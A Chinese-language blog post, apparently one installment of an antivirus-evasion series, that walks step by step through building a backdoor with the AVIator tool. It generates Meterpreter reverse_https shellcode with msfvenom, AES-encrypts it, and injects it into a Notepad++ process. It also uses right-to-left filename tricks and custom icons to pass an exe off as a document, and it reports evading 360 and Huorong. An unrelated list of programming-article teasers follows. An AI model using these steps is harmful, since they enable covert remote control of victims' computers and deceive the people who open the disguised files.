遠控免殺專題 14 ---AVIator

0x01 免殺能力一覽表

在這里插入圖片描述
幾點說明：

1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒，也就是代表了Bypass。

2、為了更好的對比效果，大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。

3、由于本機測試時只是安裝了360全家桶和火絨，所以默認情況下360和火絨殺毒情況指的是靜態+動態查殺。360殺毒版本5.0.0.8160(2020.01.01)，火絨版本5.0.34.16(2020.01.01)，360安全衛士12.0.0.2002(2020.01.01)。

4、其他殺軟的檢測指標是在virustotal.com（簡稱VT）上在線查殺，所以可能只是代表了靜態查殺能力，數據僅供參考，不足以作為免殺的精確判斷指標。

5、完全不必要苛求一種免殺技術能bypass所有殺軟，這樣的技術肯定是有的，只是沒被公開，一旦公開第二天就能被殺了，其實我們只要能bypass目標主機上的殺軟就足夠了。

0x02 AVIator介紹

AVIator使用AES加密來加密Shellcode，生成一個包含加密有效負載的可執行文件，然后使用各種注入技術將shellcode解密并注入到目標系統，從而繞過殺毒軟件的檢測。

0x03 安裝AVIator

AVIator只有windows版，c#開發，單文件exe。

安裝也非常方便，直接從github上下載下來。


git clone https://github.com/Ch0pin/AVIator

或者直接下載壓縮包https://github.com/Ch0pin/AVIator/archive/master.zip
解壓后在Compiled Binaries文件夾中有x86和x64的可執行exe文件，執行即可
在這里插入圖片描述
使用也非常簡單，只需要填入payload后簡單設置一下就可以。

0x04 AVIator生成后門

首先要使用msf生成shellceode，需要基于c#，我就用msf生成一個最基礎的


msfvenom -p windows/meterpreter/reverse_https  LHOST=10.211.55.2 LPORT=3333  -f csharp -o test11.c

在這里插入圖片描述
在AVIator中對shellcode進行處理，AES KEY和IV默認就可以

payload地方填入上面生成的test11.c文件內容，然后點擊Encrypt，生成加密后的payload。
在這里插入圖片描述
目標操作系統架構根據實際情況選擇就可以，x86比較通用一些。

下面還有個Injection Techniques，需要選擇注入技術，我這選擇第二個注入Notepad++進程
在這里插入圖片描述
另外，軟件還提供了RTLO選項，可以使可執行文件名看起來偽裝性更好。比如，啟用該選項后，文件testcod.exe將被保存文件名為testexe.doc，但文件還是可以正常被當做exe執行的。但是，選擇了RTLO選項雖然更迷惑人，但也更容易被殺軟報警告。

還可以自定義程序ico圖標，增強偽裝，我這就不配置了
在這里插入圖片描述
點擊generate后就可以生成后門程序了。
在這里插入圖片描述
不開殺軟的時候可正常上線
在這里插入圖片描述
打開殺軟進行測試，可過360和火絨動靜態檢測
在這里插入圖片描述
比較詭異的是360安全衛士的行為檢測發現木馬行為
在這里插入圖片描述
但火絨和360殺毒沒點反應，可正常上線
在這里插入圖片描述
后來我沒啟用RTLO選項又生成了一個正常的exe文件，看來RTLO選項影響還挺大。

參考

官方說明文檔：https://github.com/Ch0pin/AVIator

本文來自互聯網用戶投稿，該文觀點僅代表作者本人，不代表本站立場。本站僅提供信息存儲空間服務，不擁有所有權，不承擔相關法律責任。
如若轉載，請注明出處：http://www.pswp.cn/news/380144.shtml
繁體地址，請注明出處：http://hk.pswp.cn/news/380144.shtml
英文地址，請注明出處：http://en.pswp.cn/news/380144.shtml

如若內容造成侵權/違法違規/事實不符，請聯系多彩編程網進行投訴反饋email:809451989@qq.com，一經查實，立即刪除！

相關文章

面型對象 （包package）

面型對象 （包package）

面向對象(package關鍵字的概述及作用) 為什么要有包 將字節碼(.class)進行分類存放 包其實就是文件夾 代碼如下： package beyond.hjj;//在當前運行目錄下創建一個子目錄結構beyond\hjj，在子目錄下存放已經編譯成字節碼文件的clown.class類。 class c…
閱讀更多...
【Web開發】級聯查詢（Ajax/ jQuery/ Servlet)

【Web開發】級聯查詢（Ajax/ jQuery/ Servlet)

實現級聯查詢 共有兩個下拉框&#xff0c;第一級為學院&#xff0c;第二級為學院開設的科目。 實現的功能為&#xff1a;當改變學院的選擇&#xff0c;第二級下拉框需變為對應學院開設的科目內容。 結果預覽&#xff1a; jsp頁面 <% page contentType"text/html;…
閱讀更多...
asp.net treeView綁定

asp.net treeView綁定

這個東西不是什么復雜的東西&#xff0c; 幫著小兄弟寫個Demo, 實現個Binding public partial class _Default : System.Web.UI.Page{ protected void Page_Load(object sender, EventArgs e) { if (!IsPostBack) { Bind(); } } priv…
閱讀更多...
關于TOmcat的一些小小的知識

關于TOmcat的一些小小的知識

web.xml中的url-pattern和form 表單中的action是相同的。form 表單中的action聲明的并不是servlet的名字 例&#xff1a; <servlet> <servlet-name>welcome</servlet-name> <servlet-class>WelcomeYou</servlet-class> </servlet> <ser…
閱讀更多...
Java文件類字符串getAbsolutePath（）方法（帶示例）

Java文件類字符串getAbsolutePath（）方法（帶示例）

文件類字符串getAbsolutePath() (File Class String getAbsolutePath()) This method is available in package java.io.File.getAbsolutePath(). 軟件包java.io.File.getAbsolutePath()中提供了此方法。 This method is used to return the absolute path of the file object …
閱讀更多...
遠控免殺專題(15)-DKMC免殺

遠控免殺專題(15)-DKMC免殺

0x01 免殺能力一覽表 幾點說明&#xff1a; 1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒&#xff0c;也就是代表了Bypass。 2、為了更好的對比效果&#xff0c;大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。 3、由于本機測試時只是安裝了360全…
閱讀更多...
面向對象（靜態成員內部類的調用）

面向對象（靜態成員內部類的調用）

class beyond{public static void main(String []args){//外部類名.內部類名 對象名 外部類名.內部類對象(new 內部類名)/*Outer.Inner yy Outer.new Inner(); 類里面有個非靜態方法&#xff0c;需要new創建Inner對象;正常的形式是這樣的&#xff0c;但是我們習慣將new放在前…
閱讀更多...
SQL——以面向集合的思維方式來思考

SQL——以面向集合的思維方式來思考

本文來自&#xff1a;http://www.ituring.com.cn/article/details/472 為了以有趣的方式更好地幫助你形成面向集合的思維方式&#xff0c;我將給出自己最喜歡的游戲之一——集合。你可以在線玩這個游戲&#xff0c;網址是www.setgame.com/puzzle/set.htm&#xff0c;每天都會貼…
閱讀更多...
轉載： 統計圖控件NetCharting 和ZedGraph的比較

轉載： 統計圖控件NetCharting 和ZedGraph的比較

原文出處&#xff1a;http://hi.baidu.com/goga/blog/item/07b3024f61b8cd35aec3ab47.html最近考察了幾個統計圖表控件包&#xff0c;開源的有ZedGraph&#xff0c;Nplot等&#xff0c;但是相比之下還是ZedGraph強大&#xff0c;方便一些&#xff0c;其他的感覺還是半成品。收費…
閱讀更多...
【匯編語言】狀態標志符(CF/OF/SF/ZF)在運算(ADD/SUB/ADC/SBB)過程中的響應變化

【匯編語言】狀態標志符(CF/OF/SF/ZF)在運算(ADD/SUB/ADC/SBB)過程中的響應變化

目錄各類運算時狀態標志的響應變化標志符在各種ADD運算下的響應情況標志符在各種SUB運算下的響應情況借助標志符實現多位數之間運算ADC(add with carry)帶進位加法指令SBB(subtract with borrow)帶借位減法指令各類運算時狀態標志的響應變化 標志符具體含義CF&#xff08;Carr…
閱讀更多...
Java集合unmodifiableSortedSet（）方法（帶示例）

Java集合unmodifiableSortedSet（）方法（帶示例）

集合類unmodifiableSortedSet()方法 (Collections Class unmodifiableSortedSet() method) unmodifiableSortedSet() method is available in java.util package. unmodifiableSortedSet()方法在java.util包中可用。 unmodifiableSortedSet() method is used to get a non-modi…
閱讀更多...
遠控免殺專題(16)-Unicorn免殺

遠控免殺專題(16)-Unicorn免殺

0x01 免殺能力一覽表 幾點說明&#xff1a; 1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒&#xff0c;也就是代表了Bypass。 2、為了更好的對比效果&#xff0c;大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。 3、由于本機測試時只是安裝了360全…
閱讀更多...
面向對象（匿名內部類在開發中的應用）

面向對象（匿名內部類在開發中的應用）

匿名內部類在開發中的應用 public class test1_NoNameInner {public static void main(String[] args) {PersonDemo yy new PersonDemo();//yy.method(new Student());yy.method(new Person() {public void show(){System.out.println("show");}});//匿名內部類當作…
閱讀更多...
【匯編語言】乘法（MUL/IMUL)

【匯編語言】乘法（MUL/IMUL)

乘法&#xff08;MUL/IMUL&#xff09; 目錄乘法&#xff08;MUL/IMUL&#xff09;IMUL(signed multiply)有符號數乘法MUL(unsigned multiply)無符號數乘法麻&#xff01;屬實是被這個有符號乘法給整麻了&#xff0c;教材就一行例子直接不解釋了&#xff0c;關于標志位溢出的一…
閱讀更多...
【轉】MFC學習總結

【轉】MFC學習總結

HBRUSH CAboutDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) {　if ((pWnd->GetDlgCtrlID() IDC_EDIT1) && (nCtlColor CTLCOLOR_EDIT))　{　　　COLORREF clr RGB(255,0,0);　　　pDC->SetTextColor(clr);　 //設置紅色的文本　　　clr RGB(0,0,0…
閱讀更多...
NHibernate初學體驗進階篇

NHibernate初學體驗進階篇

在上篇《NHibernate初學體檢記》中&#xff0c;我參照NHibernate官方快速指南寫了兩個示例項目&#xff0c;在示例2的源碼中充斥了如下類似的代碼&#xff1a;<?XML:NAMESPACE PREFIX O />Configuration cfg new Configuration(); cfg.AddAssembly("…
閱讀更多...
eclipse快捷鍵

eclipse快捷鍵

Java開發工具(Eclipse的視窗和視圖概述) A:視窗 每一個基本的窗體被稱為視窗 PackageExplorer 顯示項目結構&#xff0c;包&#xff0c;類&#xff0c;及資源Outline 顯示類的結構&#xff0c;方便查找&#xff0c;識別&#xff0c;修改Console 程序運行的結果在該窗口顯示Hie…
閱讀更多...
【匯編語言】除法（DIV/IDIV）

【匯編語言】除法（DIV/IDIV）

除法&#xff08;DIV/IDIV&#xff09; 目錄除法&#xff08;DIV/IDIV&#xff09;DIV(unsigned divide)無符號數除法IDIV(signed divide)有符號數除法DIV(unsigned divide)無符號數除法 格式&#xff1a;DIV SRC 操作&#xff1a; SRCSRCSRC為字節時&#xff0c;(AL)←(AX)/…
閱讀更多...
java 方法 示例_Java集合syncedSortedSet（）方法與示例

java 方法 示例_Java集合syncedSortedSet（）方法與示例

java 方法 示例集合類SynchronizedSortedSet()方法 (Collections Class synchronizedSortedSet() method) synchronizedSortedSet() method is available in java.util package. java.util軟件包中提供了sharedSortedSet ()方法 。 synchronizedSortedSet() method is used to …
閱讀更多...
遠控免殺專題(17)-Python-Rootkit免殺

遠控免殺專題(17)-Python-Rootkit免殺

免殺能力一覽表 幾點說明&#xff1a; 1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒&#xff0c;也就是代表了Bypass。 2、為了更好的對比效果&#xff0c;大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。 3、由于本機測試時只是安裝了360全家桶…
閱讀更多...
最新文章

Copyright @ 2022~2023